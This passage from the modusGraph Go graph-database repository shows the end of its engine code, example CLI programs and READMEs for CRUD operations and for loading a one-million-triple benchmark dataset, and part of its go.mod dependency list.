| for k := range newUids { 317 | x.AssertTruef(curId != 0 && curId <= res.EndId, "not enough uids generated") 318 | newUids[k] = curId 319 | curId++ 320 | } 321 | } 322 | 323 | return engine.mutateWithDqlMutation(ctx, ns, dms, newUids) 324 | } 325 | 326 | func (engine *Engine) mutateWithDqlMutation(ctx context.Context, ns *Namespace, dms []*dql.Mutation, 327 | newUids map[string]uint64) (map[string]uint64, error) { 328 | edges, err := query.ToDirectedEdges(dms, newUids) 329 | if err != nil { 330 | return nil, fmt.Errorf("error converting to directed edges: %w", err) 331 | } 332 | ctx = x.AttachNamespace(ctx, ns.ID()) 333 | 334 | if !engine.isOpen.Load() { 335 | return nil, ErrClosedEngine 336 | } 337 | 338 | startTs, err := engine.z.nextTs() 339 | if err != nil { 340 | return nil, err 341 | } 342 | commitTs, err := engine.z.nextTs() 343 | if err != nil { 344 | return nil, err 345 | } 346 | 347 | m := &pb.Mutations{ 348 | GroupId: 1, 349 | StartTs: startTs, 350 | Edges: edges, 351 | } 352 | 353 | m.Edges, err = query.ExpandEdges(ctx, m) 354 | if err != nil { 355 | return nil, fmt.Errorf("error expanding edges: %w", err) 356 | } 357 | 358 | for _, edge := range m.Edges { 359 | worker.InitTablet(edge.Attr) 360 | } 361 | 362 | p := &pb.Proposal{Mutations: m, StartTs: startTs} 363 | if err := worker.ApplyMutations(ctx, p); err != nil { 364 | return nil, err 365 | } 366 | 367 | return newUids, worker.ApplyCommited(ctx, &pb.OracleDelta{ 368 | Txns: []*pb.TxnStatus{{StartTs: startTs, CommitTs: commitTs}}, 369 | }) 370 | } 371 | 372 | func (engine *Engine) Load(ctx context.Context, schemaPath, dataPath string) error { 373 | return engine.db0.Load(ctx, schemaPath, dataPath) 374 | } 375 | 376 | func (engine *Engine) LoadData(inCtx context.Context, dataDir string) error { 377 | return engine.db0.LoadData(inCtx, dataDir) 378 | } 379 | 380 | // Close closes the modusDB instance. 381 | func (engine *Engine) Close() { 382 | engine.mutex.Lock() 383 | defer engine.mutex.Unlock() 384 | 385 | if !engine.isOpen.Load() { 386 | return 387 | } 388 | 389 | if !singleton.CompareAndSwap(true, false) { 390 | panic("modusDB instance was not properly opened") 391 | } 392 | 393 | engine.isOpen.Store(false) 394 | x.UpdateHealthStatus(false) 395 | posting.Cleanup() 396 | worker.State.Dispose() 397 | } 398 | 399 | func (ns *Engine) reset() error { 400 | z, restart, err := newZero() 401 | if err != nil { 402 | return fmt.Errorf("error initializing zero: %w", err) 403 | } 404 | 405 | if !restart { 406 | if err := worker.ApplyInitialSchema(0, 1); err != nil { 407 | return fmt.Errorf("error applying initial schema: %w", err) 408 | } 409 | } 410 | 411 | if err := schema.LoadFromDb(context.Background()); err != nil { 412 | return fmt.Errorf("error loading schema: %w", err) 413 | } 414 | for _, pred := range schema.State().Predicates() { 415 | worker.InitTablet(pred) 416 | } 417 | 418 | ns.z = z 419 | return nil 420 | } 421 | -------------------------------------------------------------------------------- /examples/basic/README.md: -------------------------------------------------------------------------------- 1 | # modusGraph Basic CLI Example 2 | 3 | This command-line application demonstrates basic operations with modusGraph, a graph database 4 | library. The example implements CRUD operations (Create, Read, Update, Delete) for a simple `Thread` 5 | entity type. 6 | 7 | ## Requirements 8 | 9 | - Go 1.24 or higher 10 | - Access to either: 11 | - A local filesystem (for file-based storage) 12 | - A Dgraph cluster (for distributed storage) 13 | 14 | ## Installation 15 | 16 | ```bash 17 | # Navigate to the examples/basic directory 18 | cd examples/basic 19 | 20 | # Run directly 21 | go run main.go [options] 22 | 23 | # Or build and then run 24 | go build -o modusgraph-cli 25 | ./modusgraph-cli [options] 26 | ``` 27 | 28 | ## Usage 29 | 30 | ```sh 31 | Usage of ./main: 32 | --dir string Directory where modusGraph will initialize, note the directory must exist and you must have write access 33 | --addr string Hostname/port where modusGraph will access for I/O (if not using the dir flag) 34 | --cmd string Command to execute: create, update, delete, get, list (default "create") 35 | --author string Created by (for create and update) 36 | --name string Name of the Thread (for create and update) 37 | --uid string UID of the Thread (required for update, delete, and get) 38 | --workspace string Workspace ID (for create, update, and filter for list) 39 | ``` 40 | 41 | **Note**: You must provide either `--dir` (for file-based storage) or `--addr` (for Dgraph cluster) 42 | parameter. 43 | 44 | ## Commands 45 | 46 | ### Create a Thread 47 | 48 | ```bash 49 | go run main.go --dir /tmp/modusgraph-data --cmd create --name "New Thread" --workspace "workspace-123" --author "user-456" 50 | ``` 51 | 52 | **Note**: Due to the intricacies of how Dgraph handles unique fields and upserts in its core 53 | package, unique field checks and upsert operations are not supported (yet) when using the local 54 | (file-based) mode. These operations work properly when using a full Dgraph cluster (--addr option), 55 | but the simplified file-based mode does not support the constraint enforcement mechanisms required 56 | for uniqueness guarantees. The workaround here would be to check for the Thread name and workspace 57 | ID before creating a new Thread. 58 | 59 | ### Update a Thread 60 | 61 | ```bash 62 | go run main.go --dir /tmp/modusgraph-data --cmd update --uid "0x123" --name "Updated Thread" --workspace "workspace-123" --author "user-456" 63 | ``` 64 | 65 | ### Get a Thread by UID 66 | 67 | ```bash 68 | go run main.go --dir /tmp/modusgraph-data --cmd get --uid "0x123" 69 | ``` 70 | 71 | ### Delete a Thread 72 | 73 | ```bash 74 | go run main.go --dir /tmp/modusgraph-data --cmd delete --uid "0x123" 75 | ``` 76 | 77 | ### List All Threads 78 | 79 | ```bash 80 | go run main.go --dir /tmp/modusgraph-data --cmd list 81 | ``` 82 | 83 | ### List Threads by Workspace 84 | 85 | ```bash 86 | go run main.go --dir /tmp/modusgraph-data --cmd list --workspace "workspace-123" 87 | ``` 88 | 89 | ## Using with Dgraph 90 | 91 | To use with a Dgraph cluster instead of file-based storage: 92 | 93 | ```bash 94 | go run main.go --addr localhost:9080 --cmd list 95 | ``` 96 | 97 | ## Output Format 98 | 99 | The application displays data in a tabular format: 100 | 101 | - For single Thread retrieval (`get`), fields are displayed in a vertical layout 102 | - For multiple Thread retrieval (`list`), records are displayed in a horizontal table 103 | 104 | ## Logging 105 | 106 | The application uses structured logging with different verbosity levels. To see more detailed logs 107 | including query execution, you can modify the `stdr.SetVerbosity(1)` line in the code to a higher 108 | level. 109 | -------------------------------------------------------------------------------- /examples/basic/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "flag" 6 | "fmt" 7 | "log" 8 | "os" 9 | "path/filepath" 10 | "strconv" 11 | "strings" 12 | 13 | "github.com/go-logr/logr" 14 | "github.com/go-logr/stdr" 15 | mg "github.com/hypermodeinc/modusgraph" 16 | ) 17 | 18 | type Thread struct { 19 | Name string `json:"name,omitempty" dgraph:"index=exact"` 20 | WorkspaceID string `json:"workspaceID,omitempty" dgraph:"index=exact"` 21 | CreatedBy string `json:"createdBy,omitempty" dgraph:"index=exact"` 22 | 23 | UID string `json:"uid,omitempty"` 24 | DType []string `json:"dgraph.type,omitempty"` 25 | } 26 | 27 | func main() { 28 | // Define command line flags 29 | dirFlag := flag.String("dir", "", "Directory where modusGraph will initialize") 30 | addrFlag := flag.String("addr", "", "Hostname/port where modusGraph will access for I/O") 31 | 32 | // Command flags 33 | cmdFlag := flag.String("cmd", "create", "Command to execute: create, update, delete, get, list") 34 | uidFlag := flag.String("uid", "", "UID of the Thread (required for update, delete, and get)") 35 | nameFlag := flag.String("name", "", "Name of the Thread (for create and update)") 36 | workspaceFlag := flag.String("workspace", "", "Workspace ID (for create, update, and filter for list)") 37 | authorFlag := flag.String("author", "", "Created by (for create and update)") 38 | 39 | // Parse command line arguments 40 | flag.Parse() 41 | 42 | // Validate required flags - either dirFlag or addrFlag must be provided 43 | if *dirFlag == "" && *addrFlag == "" { 44 | fmt.Println("Error: either --dir or --addr parameter is required") 45 | flag.Usage() 46 | os.Exit(1) 47 | } 48 | 49 | // Validate command 50 | command := strings.ToLower(*cmdFlag) 51 | validCommands := map[string]bool{ 52 | "create": true, 53 | "update": true, 54 | "delete": true, 55 | "get": true, 56 | "list": true, 57 | } 58 | 59 | if !validCommands[command] { 60 | fmt.Printf("Error: invalid command '%s'. Valid commands are: create, update, delete, get, list\n", command) 61 | flag.Usage() 62 | os.Exit(1) 63 | } 64 | 65 | // Validate UID for commands that require it 66 | if (command == "update" || command == "delete" || command == "get") && *uidFlag == "" { 67 | fmt.Printf("Error: --uid parameter is required for %s command\n", command) 68 | flag.Usage() 69 | os.Exit(1) 70 | } 71 | 72 | // Determine which parameter to use as the first argument to NewClient 73 | var endpoint string 74 | if *dirFlag != "" { 75 | // Using directory mode 76 | dirPath := filepath.Clean(*dirFlag) 77 | endpoint = fmt.Sprintf("file://%s", dirPath) 78 | fmt.Printf("Initializing modusGraph with directory: %s\n", endpoint) 79 | } else { 80 | // Using Dgraph cluster mode 81 | endpoint = fmt.Sprintf("dgraph://%s", *addrFlag) 82 | fmt.Printf("Initializing modusGraph with address: %s\n", endpoint) 83 | } 84 | 85 | // Initialize standard logger with stdr 86 | stdLogger := log.New(os.Stdout, "", log.LstdFlags) 87 | logger := stdr.NewWithOptions(stdLogger, stdr.Options{LogCaller: stdr.All}).WithName("mg") 88 | vFlag := flag.Lookup("v") 89 | if vFlag != nil { 90 | val, err := strconv.Atoi(vFlag.Value.String()) 91 | if err != nil { 92 | log.Fatalf("Error: Invalid verbosity level: %s", vFlag.Value.String()) 93 | } 94 | stdr.SetVerbosity(val) 95 | } 96 | 97 | // Initialize modusGraph client with logger 98 | client, err := mg.NewClient(endpoint, 99 | // Auto schema will update the schema each time a mutation event is received 100 | mg.WithAutoSchema(true), 101 | // Logger will log events to the console 102 | mg.WithLogger(logger)) 103 | if err != nil { 104 | logger.Error(err, "Failed to initialize modusGraph client") 105 | os.Exit(1) 106 | } 107 | defer client.Close() 108 | 109 | logger.Info("modusGraph client initialized successfully") 110 | 111 | // Execute the requested command 112 | var cmdErr error 113 | switch command { 114 | case "create": 115 | cmdErr = createThread(client, logger, *nameFlag, *workspaceFlag, *authorFlag) 116 | case "update": 117 | cmdErr = updateThread(client, logger, *uidFlag, *nameFlag, *workspaceFlag, *authorFlag) 118 | case "delete": 119 | cmdErr = deleteThread(client, logger, *uidFlag) 120 | case "get": 121 | cmdErr = getThread(client, logger, *uidFlag) 122 | case "list": 123 | cmdErr = listThreads(client, logger, *workspaceFlag) 124 | } 125 | 126 | if cmdErr != nil { 127 | fmt.Printf("Command '%s' failed: %v\n", command, cmdErr) 128 | os.Exit(1) 129 | } 130 | 131 | logger.Info("Command completed successfully", "command", command) 132 | } 133 | 134 | // createThread creates a new Thread in the database. Note that this function does 135 | // not check for existing threads with the same name and workspace ID. 136 | func createThread(client mg.Client, logger logr.Logger, name, workspaceID, createdBy string) error { 137 | thread := Thread{ 138 | Name: name, 139 | WorkspaceID: workspaceID, 140 | CreatedBy: createdBy, 141 | } 142 | 143 | ctx := context.Background() 144 | err := client.Insert(ctx, &thread) 145 | if err != nil { 146 | logger.Error(err, "Failed to create Thread") 147 | return err 148 | } 149 | 150 | logger.Info("Thread created successfully", "UID", thread.UID) 151 | fmt.Printf("Thread created successfully\nUID: %s\nName: %s\nWorkspaceID: %s\nCreatedBy: %s\n", 152 | thread.UID, thread.Name, thread.WorkspaceID, thread.CreatedBy) 153 | return nil 154 | } 155 | 156 | // updateThread updates an existing Thread in the database 157 | func updateThread(client mg.Client, logger logr.Logger, uid, name, workspaceID, createdBy string) error { 158 | // First get the existing Thread 159 | ctx := context.Background() 160 | var thread Thread 161 | err := client.Get(ctx, &thread, uid) 162 | if err != nil { 163 | logger.Error(err, "Failed to get Thread for update", "UID", uid) 164 | return err 165 | } 166 | 167 | // Update fields if provided 168 | if name != "" { 169 | thread.Name = name 170 | } 171 | if workspaceID != "" { 172 | thread.WorkspaceID = workspaceID 173 | } 174 | if createdBy != "" { 175 | thread.CreatedBy = createdBy 176 | } 177 | 178 | // Save the updated Thread 179 | err = client.Update(ctx, &thread) 180 | if err != nil { 181 | logger.Error(err, "Failed to update Thread", "UID", uid) 182 | return err 183 | } 184 | 185 | logger.Info("Thread updated successfully", "UID", thread.UID) 186 | fmt.Printf("Thread updated successfully\nUID: %s\nName: %s\nWorkspaceID: %s\nCreatedBy: %s\n", 187 | thread.UID, thread.Name, thread.WorkspaceID, thread.CreatedBy) 188 | return nil 189 | } 190 | 191 | // truncateString truncates a string to the specified length and adds ellipsis if needed 192 | func truncateString(s string, maxLen int) string { 193 | if len(s) <= maxLen { 194 | return s 195 | } 196 | 197 | // Truncate and add ellipsis 198 | return s[:maxLen-3] + "..." 199 | } 200 | 201 | // deleteThread deletes a Thread from the database 202 | func deleteThread(client mg.Client, logger logr.Logger, uid string) error { 203 | ctx := context.Background() 204 | var thread Thread 205 | // First get the Thread to confirm it exists and to show what's being deleted 206 | err := client.Get(ctx, &thread, uid) 207 | if err != nil { 208 | logger.Error(err, "Failed to get Thread for deletion", "UID", uid) 209 | return err 210 | } 211 | 212 | // Now delete it 213 | err = client.Delete(ctx, []string{uid}) 214 | if err != nil { 215 | logger.Error(err, "Failed to delete Thread", "UID", uid) 216 | return err 217 | } 218 | 219 | logger.Info("Thread deleted successfully", "UID", uid) 220 | fmt.Printf("Thread deleted successfully\nUID: %s\nName: %s\n", uid, thread.Name) 221 | return nil 222 | } 223 | 224 | // getThread retrieves a Thread by UID 225 | func getThread(client mg.Client, logger logr.Logger, uid string) error { 226 | ctx := context.Background() 227 | var thread Thread 228 | err := client.Get(ctx, &thread, uid) 229 | if err != nil { 230 | logger.Error(err, "Failed to get Thread", "UID", uid) 231 | return err 232 | } 233 | 234 | logger.Info("Thread retrieved successfully", "UID", thread.UID) 235 | 236 | // Display thread in a tabular format 237 | fmt.Println("\nThread Details:") 238 | fmt.Printf("%-15s | %s\n", "Field", "Value") 239 | fmt.Println(strings.Repeat("-", 80)) 240 | fmt.Printf("%-15s | %s\n", "UID", thread.UID) 241 | fmt.Printf("%-15s | %s\n", "Name", thread.Name) 242 | fmt.Printf("%-15s | %s\n", "Workspace ID", thread.WorkspaceID) 243 | fmt.Printf("%-15s | %s\n", "Created By", thread.CreatedBy) 244 | fmt.Println() 245 | return nil 246 | } 247 | 248 | // listThreads retrieves all Threads 249 | func listThreads(client mg.Client, logger logr.Logger, workspaceID string) error { 250 | ctx := context.Background() 251 | var threads []Thread 252 | 253 | // We'll apply filters in the query builder 254 | 255 | // Execute the query using the fluent API pattern 256 | queryBuilder := client.Query(ctx, Thread{}) 257 | 258 | // Apply filter if workspaceID is provided 259 | if workspaceID != "" { 260 | queryBuilder = queryBuilder.Filter(fmt.Sprintf(`eq(workspaceID, %q)`, workspaceID)) 261 | } else { 262 | queryBuilder = queryBuilder.Filter(`has(name)`) 263 | } 264 | 265 | // Execute the query and retrieve the nodes 266 | logger.V(2).Info("Executing query", "query", queryBuilder.String()) 267 | err := queryBuilder.Nodes(&threads) 268 | if err != nil { 269 | logger.Error(err, "Failed to list Threads") 270 | return err 271 | } 272 | 273 | logger.Info("Threads listed successfully", "Count", len(threads)) 274 | 275 | // Display threads in a tabular format 276 | if len(threads) > 0 { 277 | // Define column headers and widths 278 | fmt.Println("\nThreads:") 279 | fmt.Printf("%-10s | %-30s | %-30s | %-20s\n", "UID", "Name", "Workspace ID", "Created By") 280 | fmt.Println(strings.Repeat("-", 97)) 281 | 282 | // Print each thread as a row 283 | for _, thread := range threads { 284 | // Truncate values if they're too long for display 285 | uid := truncateString(thread.UID, 8) 286 | name := truncateString(thread.Name, 28) 287 | workspace := truncateString(thread.WorkspaceID, 28) 288 | createdBy := truncateString(thread.CreatedBy, 18) 289 | 290 | fmt.Printf("%-10s | %-30s | %-30s | %-20s\n", uid, name, workspace, createdBy) 291 | } 292 | fmt.Println() 293 | } 294 | 295 | return nil 296 | } 297 | -------------------------------------------------------------------------------- /examples/load/README.md: -------------------------------------------------------------------------------- 1 | # modusGraph 1Million Dataset Loader 2 | 3 | This command-line application demonstrates how to load the 1million dataset into modusGraph. The 4 | 1million dataset consists of approximately one million RDF triples representing relationships 5 | between various entities and is commonly used for benchmarking graph database performance. 6 | 7 | ## Requirements 8 | 9 | - Go 1.24 or higher 10 | - Approximately 500MB of disk space for the downloaded dataset 11 | - Internet connection (to download the dataset files) 12 | 13 | ## Usage 14 | 15 | ```sh 16 | # Navigate to the examples/load directory 17 | cd examples/load 18 | 19 | # Run directly 20 | go run main.go --dir /path/to/data/directory 21 | 22 | # Or build and then run 23 | go build -o modusgraph-loader 24 | ./modusgraph-loader --dir /path/to/data/directory 25 | ``` 26 | 27 | ### Command Line Options 28 | 29 | ```sh 30 | Usage of ./modusgraph-loader: 31 | --dir string Directory where modusGraph will initialize and store the 1million dataset (required) 32 | --verbosity int Verbosity level (0-2) (default 1) 33 | ``` 34 | 35 | ## How It Works 36 | 37 | 1. The application creates the specified directory if it doesn't exist 38 | 2. It initializes a modusGraph engine in that directory 39 | 3. Downloads the 1million schema and RDF data files from the Dgraph benchmarks repository 40 | 4. Drops any existing data in the modusGraph instance 41 | 5. Loads the schema and RDF data into the database 42 | 6. Provides progress and timing information 43 | 44 | ## Performance Considerations 45 | 46 | - Loading the 1million dataset may take several minutes depending on your hardware 47 | - The application sets a 30-minute timeout for the loading process 48 | - Memory usage will peak during the loading process 49 | 50 | ## Using the Loaded Dataset 51 | 52 | After loading is complete, you can use the database in other applications by initializing modusGraph 53 | with the same directory: 54 | 55 | ```go 56 | // Initialize modusGraph client with the same directory 57 | client, err := mg.NewClient("file:///path/to/data/directory") 58 | if err != nil { 59 | // handle error 60 | } 61 | defer client.Close() 62 | 63 | // Now you can run queries against the 1million dataset 64 | ``` 65 | 66 | ## Dataset Details 67 | 68 | The 1million dataset represents: 69 | 70 | - Films, directors, and actors 71 | - Relationships between these entities 72 | - Various properties like names, dates, and film details 73 | 74 | This is a great dataset for learning and testing graph query capabilities. 75 | -------------------------------------------------------------------------------- /examples/load/main.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package main 7 | 8 | import ( 9 | "context" 10 | "flag" 11 | "fmt" 12 | "log" 13 | "os" 14 | "path/filepath" 15 | "time" 16 | 17 | "github.com/cavaliergopher/grab/v3" 18 | "github.com/go-logr/logr" 19 | "github.com/go-logr/stdr" 20 | "github.com/hypermodeinc/modusgraph" 21 | ) 22 | 23 | const ( 24 | baseURL = "https://github.com/hypermodeinc/dgraph-benchmarks/blob/main/data" 25 | oneMillionSchema = baseURL + "/1million.schema?raw=true" 26 | oneMillionRDF = baseURL + "/1million.rdf.gz?raw=true" 27 | ) 28 | 29 | func main() { 30 | // Parse command line arguments 31 | dirFlag := flag.String("dir", "", "Directory where modusGraph will initialize and store the 1million dataset") 32 | verbosityFlag := flag.Int("verbosity", 1, "Verbosity level (0-2)") 33 | 34 | // Parse command line arguments 35 | flag.Parse() 36 | 37 | // Validate required flags 38 | if *dirFlag == "" { 39 | fmt.Println("Error: --dir parameter is required") 40 | flag.Usage() 41 | os.Exit(1) 42 | } 43 | 44 | // Create and clean the directory path 45 | dirPath := filepath.Clean(*dirFlag) 46 | if err := os.MkdirAll(dirPath, 0755); err != nil { 47 | log.Printf("Error creating directory %s: %v", dirPath, err) 48 | os.Exit(1) 49 | } 50 | 51 | // Initialize standard logger with stdr 52 | stdLogger := log.New(os.Stdout, "", log.LstdFlags) 53 | logger := stdr.NewWithOptions(stdLogger, stdr.Options{LogCaller: stdr.All}).WithName("mg") 54 | 55 | // Set verbosity level based on flag 56 | stdr.SetVerbosity(*verbosityFlag) 57 | 58 | logger.Info("Starting 1million dataset loader") 59 | start := time.Now() 60 | 61 | // Initialize modusGraph engine 62 | logger.Info("Initializing modusGraph engine", "directory", dirPath) 63 | conf := modusgraph.NewDefaultConfig(dirPath).WithLogger(logger) 64 | engine, err := modusgraph.NewEngine(conf) 65 | if err != nil { 66 | logger.Error(err, "Failed to initialize modusGraph engine") 67 | os.Exit(1) 68 | } 69 | defer engine.Close() 70 | 71 | logger.Info("modusGraph engine initialized successfully") 72 | 73 | // Download the schema and data files 74 | logger.Info("Downloading 1million schema and data files") 75 | tmpDir := filepath.Join(dirPath, "tmp") 76 | if err := os.MkdirAll(tmpDir, 0755); err != nil { 77 | logger.Error(err, "Failed to create temporary directory", "path", tmpDir) 78 | os.Exit(1) 79 | } 80 | 81 | // Download files with progress tracking 82 | schemaFile, err := downloadFile(logger, tmpDir, oneMillionSchema, "schema") 83 | if err != nil { 84 | logger.Error(err, "Failed to download schema file") 85 | os.Exit(1) 86 | } 87 | 88 | dataFile, err := downloadFile(logger, tmpDir, oneMillionRDF, "data") 89 | if err != nil { 90 | logger.Error(err, "Failed to download data file") 91 | os.Exit(1) 92 | } 93 | 94 | // Drop all existing data 95 | logger.Info("Dropping any existing data") 96 | if err := engine.DropAll(context.Background()); err != nil { 97 | logger.Error(err, "Failed to drop existing data") 98 | os.Exit(1) 99 | } 100 | 101 | // Load the schema and data 102 | logger.Info("Loading 1million dataset into modusGraph") 103 | ctx, cancel := context.WithTimeout(context.Background(), 30*time.Minute) 104 | defer cancel() 105 | 106 | if err := engine.Load(ctx, schemaFile, dataFile); err != nil { 107 | logger.Error(err, "Failed to load data") 108 | os.Exit(1) 109 | } 110 | 111 | elapsed := time.Since(start).Round(time.Second) 112 | logger.Info("Successfully loaded 1million dataset", "elapsed", elapsed, "directory", dirPath) 113 | } 114 | 115 | func downloadFile(logger logr.Logger, dir, url, fileType string) (string, error) { 116 | logger.Info("Starting download", "fileType", fileType, "url", url) 117 | 118 | // Create a new client 119 | client := grab.NewClient() 120 | req, err := grab.NewRequest(dir, url) 121 | if err != nil { 122 | return "", fmt.Errorf("failed to create download request: %w", err) 123 | } 124 | 125 | // Start download 126 | resp := client.Do(req) 127 | 128 | // Start UI loop 129 | t := time.NewTicker(500 * time.Millisecond) 130 | defer t.Stop() 131 | 132 | lastProgress := 0.0 133 | for { 134 | select { 135 | case <-t.C: 136 | progress := 100 * resp.Progress() 137 | // Only log if progress has changed significantly 138 | if progress-lastProgress >= 10 || progress >= 99.9 && lastProgress < 99.9 { 139 | logger.V(1).Info("Download progress", "fileType", fileType, "progress", fmt.Sprintf("%.1f%%", progress)) 140 | lastProgress = progress 141 | } 142 | // Still show on console for interactive feedback 143 | logger.Info(fmt.Sprintf("\r%s: %.1f%% complete", fileType, progress), "fileType", fileType, "progress", fmt.Sprintf("%.1f%%", progress)) 144 | 145 | case <-resp.Done: 146 | // Download is complete 147 | size := formatBytes(resp.Size()) 148 | logger.Info("Download complete", "fileType", fileType, "file", resp.Filename, "size", size) 149 | if err := resp.Err(); err != nil { 150 | return "", fmt.Errorf("download failed: %w", err) 151 | } 152 | return resp.Filename, nil 153 | } 154 | } 155 | } 156 | 157 | func formatBytes(bytes int64) string { 158 | const unit = 1024 159 | if bytes < unit { 160 | return fmt.Sprintf("%d B", bytes) 161 | } 162 | div, exp := int64(unit), 0 163 | for n := bytes / unit; n >= unit; n /= unit { 164 | div *= unit 165 | exp++ 166 | } 167 | return fmt.Sprintf("%.1f %cB", float64(bytes)/float64(div), "KMGTPE"[exp]) 168 | } 169 | -------------------------------------------------------------------------------- /examples/readme/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "time" 7 | 8 | mg "github.com/hypermodeinc/modusgraph" 9 | ) 10 | 11 | // This example is featured on the repo README 12 | 13 | type TestEntity struct { 14 | Name string `json:"name,omitempty" dgraph:"index=exact"` 15 | Description string `json:"description,omitempty" dgraph:"index=term"` 16 | CreatedAt time.Time `json:"createdAt,omitempty"` 17 | 18 | // UID is a required field for nodes 19 | UID string `json:"uid,omitempty"` 20 | // DType is a required field for nodes, will get populated with the struct name 21 | DType []string `json:"dgraph.type,omitempty"` 22 | } 23 | 24 | func main() { 25 | client, err := mg.NewClient("file:///tmp/modusgraph", mg.WithAutoSchema(true)) 26 | if err != nil { 27 | panic(err) 28 | } 29 | defer client.Close() 30 | 31 | entity := TestEntity{ 32 | Name: "Test Entity", 33 | Description: "This is a test entity", 34 | CreatedAt: time.Now(), 35 | } 36 | 37 | ctx := context.Background() 38 | err = client.Insert(ctx, &entity) 39 | 40 | if err != nil { 41 | panic(err) 42 | } 43 | fmt.Println("Insert successful, entity UID:", entity.UID) 44 | 45 | // Query the entity 46 | var result TestEntity 47 | err = client.Get(ctx, &result, entity.UID) 48 | if err != nil { 49 | panic(err) 50 | } 51 | fmt.Println("Query successful, entity:", result.UID) 52 | } 53 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/hypermodeinc/modusgraph 2 | 3 | go 1.24.2 4 | 5 | require ( 6 | github.com/cavaliergopher/grab/v3 v3.0.1 7 | github.com/dgraph-io/badger/v4 v4.7.0 8 | github.com/dgraph-io/dgo/v240 v240.2.0 9 | github.com/dgraph-io/ristretto/v2 v2.2.0 10 | github.com/dolan-in/dgman/v2 v2.0.0 11 | github.com/go-logr/logr v1.4.2 12 | github.com/go-logr/stdr v1.2.2 13 | github.com/hypermodeinc/dgraph/v24 v24.1.2 14 | github.com/pkg/errors v0.9.1 15 | github.com/stretchr/testify v1.10.0 16 | github.com/twpayne/go-geom v1.6.1 17 | golang.org/x/sync v0.13.0 18 | google.golang.org/protobuf v1.36.6 19 | ) 20 | 21 | require ( 22 | contrib.go.opencensus.io/exporter/jaeger v0.2.1 // indirect 23 | github.com/DataDog/datadog-go v4.8.3+incompatible // indirect 24 | github.com/DataDog/opencensus-go-exporter-datadog v0.0.0-20220622145613-731d59e8b567 // indirect 25 | github.com/Microsoft/go-winio v0.6.2 // indirect 26 | github.com/docker/docker v28.0.4+incompatible // indirect 27 | github.com/dolan-in/reflectwalk v1.0.2-0.20210101124621-dc2073a29d71 // indirect 28 | github.com/go-viper/mapstructure/v2 v2.2.1 // indirect 29 | github.com/pelletier/go-toml/v2 v2.2.3 // indirect 30 | github.com/philhofer/fwd v1.1.3-0.20240916144458-20a13a1f6b7c // indirect 31 | github.com/sagikazarmark/locafero v0.7.0 // indirect 32 | github.com/sergi/go-diff v1.2.0 // indirect 33 | github.com/sourcegraph/conc v0.3.0 // indirect 34 | github.com/tinylib/msgp v1.2.5 // indirect 35 | github.com/uber/jaeger-client-go v2.28.0+incompatible // indirect 36 | go.opentelemetry.io/auto/sdk v1.1.0 // indirect 37 | go.opentelemetry.io/otel v1.35.0 // indirect 38 | go.opentelemetry.io/otel/metric v1.35.0 // indirect 39 | go.opentelemetry.io/otel/trace v1.35.0 // indirect 40 | gonum.org/v1/gonum v0.12.0 // indirect 41 | google.golang.org/api v0.219.0 // indirect 42 | gopkg.in/DataDog/dd-trace-go.v1 v1.71.0 // indirect 43 | ) 44 | 45 | require ( 46 | contrib.go.opencensus.io/exporter/prometheus v0.4.2 // indirect 47 | github.com/HdrHistogram/hdrhistogram-go v1.1.2 // indirect 48 | github.com/IBM/sarama v1.45.1 // indirect 49 | github.com/agnivade/levenshtein v1.2.1 // indirect 50 | github.com/beorn7/perks v1.0.1 // indirect 51 | github.com/bits-and-blooms/bitset v1.20.0 // indirect 52 | // trunk-ignore(osv-scanner/GHSA-9w9f-6mg8-jp7w) 53 | github.com/blevesearch/bleve/v2 v2.4.4 // indirect 54 | github.com/blevesearch/bleve_index_api v1.2.1 // indirect 55 | github.com/blevesearch/geo v0.1.20 // indirect 56 | github.com/blevesearch/go-porterstemmer v1.0.3 // indirect 57 | github.com/blevesearch/segment v0.9.1 // indirect 58 | github.com/blevesearch/snowballstem v0.9.0 // indirect 59 | github.com/blevesearch/upsidedown_store_api v1.0.2 // indirect 60 | github.com/cenkalti/backoff/v4 v4.3.0 // indirect 61 | github.com/cespare/xxhash/v2 v2.3.0 // indirect 62 | github.com/chewxy/math32 v1.11.1 // indirect 63 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect 64 | github.com/dgraph-io/gqlgen v0.13.2 // indirect 65 | github.com/dgraph-io/gqlparser/v2 v2.2.2 // indirect 66 | github.com/dgraph-io/simdjson-go v0.3.0 // indirect 67 | github.com/dgryski/go-farm v0.0.0-20240924180020-3414d57e47da // indirect 68 | github.com/dgryski/go-groupvarint v0.0.0-20230630160417-2bfb7969fb3c // indirect 69 | github.com/dustin/go-humanize v1.0.1 // indirect 70 | github.com/eapache/go-resiliency v1.7.0 // indirect 71 | github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 // indirect 72 | github.com/eapache/queue v1.1.0 // indirect 73 | github.com/felixge/fgprof v0.9.5 // indirect 74 | github.com/fsnotify/fsnotify v1.8.0 // indirect 75 | github.com/go-jose/go-jose/v4 v4.0.5 // indirect 76 | github.com/gogo/protobuf v1.3.2 // indirect 77 | github.com/golang-jwt/jwt/v5 v5.2.2 // indirect 78 | github.com/golang/geo v0.0.0-20230421003525-6adc56603217 // indirect 79 | github.com/golang/glog v1.2.4 // indirect 80 | github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8 // indirect 81 | github.com/golang/protobuf v1.5.4 // indirect 82 | github.com/golang/snappy v1.0.0 // indirect 83 | github.com/google/codesearch v1.2.0 // indirect 84 | github.com/google/flatbuffers v25.2.10+incompatible // indirect 85 | github.com/google/pprof v0.0.0-20250128161936-077ca0a936bf // indirect 86 | github.com/hashicorp/errwrap v1.1.0 // indirect 87 | github.com/hashicorp/go-cleanhttp v0.5.2 // indirect 88 | github.com/hashicorp/go-multierror v1.1.1 // indirect 89 | github.com/hashicorp/go-retryablehttp v0.7.7 // indirect 90 | github.com/hashicorp/go-rootcerts v1.0.2 // indirect 91 | github.com/hashicorp/go-secure-stdlib/parseutil v0.1.9 // indirect 92 | github.com/hashicorp/go-secure-stdlib/strutil v0.1.2 // indirect 93 | github.com/hashicorp/go-sockaddr 